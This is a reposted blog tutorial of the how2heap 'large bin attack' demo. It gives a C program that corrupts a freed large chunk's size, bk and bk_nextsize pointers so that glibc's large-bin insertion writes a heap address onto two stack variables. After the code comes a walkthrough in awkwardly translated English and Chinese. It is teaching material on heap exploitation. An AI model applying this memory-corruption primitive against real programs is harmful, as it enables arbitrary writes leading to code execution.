14.large_bin_attack

Source 

  1 /*
  2 
  3     This technique is taken from
  4     https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
  5 
  6     [...]
  7 
  8               else
  9               {
 10                   victim->fd_nextsize = fwd;
 11                   victim->bk_nextsize = fwd->bk_nextsize;
 12                   fwd->bk_nextsize = victim;
 13                   victim->bk_nextsize->fd_nextsize = victim;
 14               }
 15               bck = fwd->bk;
 16 
 17     [...]
 18 
 19     mark_bin (av, victim_index);
 20     victim->bk = bck;
 21     victim->fd = fwd;
 22     fwd->bk = victim;
 23     bck->fd = victim;
 24 
 25     For more details on how large-bins are handled and sorted by ptmalloc,
 26     please check the Background section in the aforementioned link.
 27 
 28     [...]
 29 
 30  */
 31 
 32 #include<stdio.h>
 33 #include<stdlib.h>
 34  
 35 int main()
 36 {
 37     fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
 38     fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
 39            "global variable global_max_fast in libc for further fastbin attack\n\n");
 40 
 41     unsigned long stack_var1 = 0;
 42     unsigned long stack_var2 = 0;
 43 
 44     fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
 45     fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
 46     fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
 47 
 48     unsigned long *p1 = malloc(0x320);
 49     fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
 50 
 51     fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
 52            " the first large chunk during the free()\n\n");
 53     malloc(0x20);
 54 
 55     unsigned long *p2 = malloc(0x400);
 56     fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
 57 
 58     fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
 59            " the second large chunk during the free()\n\n");
 60     malloc(0x20);
 61 
 62     unsigned long *p3 = malloc(0x400);
 63     fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
 64  
 65     fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
 66            " the third large chunk during the free()\n\n");
 67     malloc(0x20);
 68  
 69     free(p1);
 70     free(p2);
 71     fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
 72            " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
 73 
 74     malloc(0x90);
 75     fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
 76             " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
 77             ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
 78             " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
 79 
 80     free(p3);
 81     fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
 82            " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
 83  
 84     //------------VULNERABILITY-----------
 85 
 86     fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
 87             " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
 88     fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
 89             " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
 90             " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
 91 
 92     p2[-1] = 0x3f1;
 93     p2[0] = 0;
 94     p2[2] = 0;
 95     p2[1] = (unsigned long)(&stack_var1 - 2);
 96     p2[3] = (unsigned long)(&stack_var2 - 4);
 97 
 98     //------------------------------------
 99 
100     malloc(0x90);
101  
102     fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
103             " During this time, targets should have already been rewritten:\n");
104 
105     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
106     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
107 
108     return 0;
109 }

operation result

First apply two unsigned long type variable on the stack, stack1, stack2, 8 bytes are

Then apply a large chunk p1 of 0x320

Then apply a barrier to open fastbin chunk of 0x20 two large chunk, prevent coalescence of

Then apply large chunk p2 2 Ge of 0x400, p3,

Intermediate inclusions fastbin chunk of a 0x20

Then release p1, p2, have entered unsorted bin list

At this time, the application of a stack of less than 0x90 p1 and p2 which will enter the large bin list

The p1 assigned to cut out part of the rest into a new pile into the unsort bin list

 

 Then re-release p3, also entered unsort bin list

This time due p2 into the large bin list

So it's fd_nextsize and bk_nextsize two fields open

large bin stacks linked list are arranged into the arithmetic series, a plurality of the same size may have, in descending order

fd_nextsize指向下一个比当前chunk大小小的第一个空闲块,bk_nextsize指向前一个比当前chunk大小大的第一个空闲chunk

修改p2令

p2->size=0x3f1

p2->fd=null

p2->bk=&stack1-0x10

p2->fd_nextsize=null

p2->bk_nextsize=&stack2-0x20

这里实际是将stack1所在空间视为一个堆fake,stack1为fake->fd字段

然后再申请一个0x90的堆,又将p1剩下的部分分割,原来unsorted bin中的p3则进入了large bin链表

本来largebin中是p2->fake

此时变成p2->p3->fake

根据libc的算法,链表中插入一个堆块时

victim->fd_nextsize = fwd;

victim->bk_nextsize = fwd->bk_nextsize;

fwd->bk_nextsize = victim

victim->bk_nextsize->fd_nextsize=victim (这句将stack2赋值)

mark_bin (av, victim_index)

victim->bk = bck

victim->fd=fwd

fwd->bk=victim

bck->fd=victim(这句将stack1赋值)

 

这里p2为fwd p3为victim fake为bck

 

 

 

0x7fffffffddd0 为stack1地址,0x7fffffffddd8为stack2地址

可以看见都被赋值为0x6037a0 ,即为p3的地址

 

Guess you like

Origin www.cnblogs.com/pfcode/p/10995649.html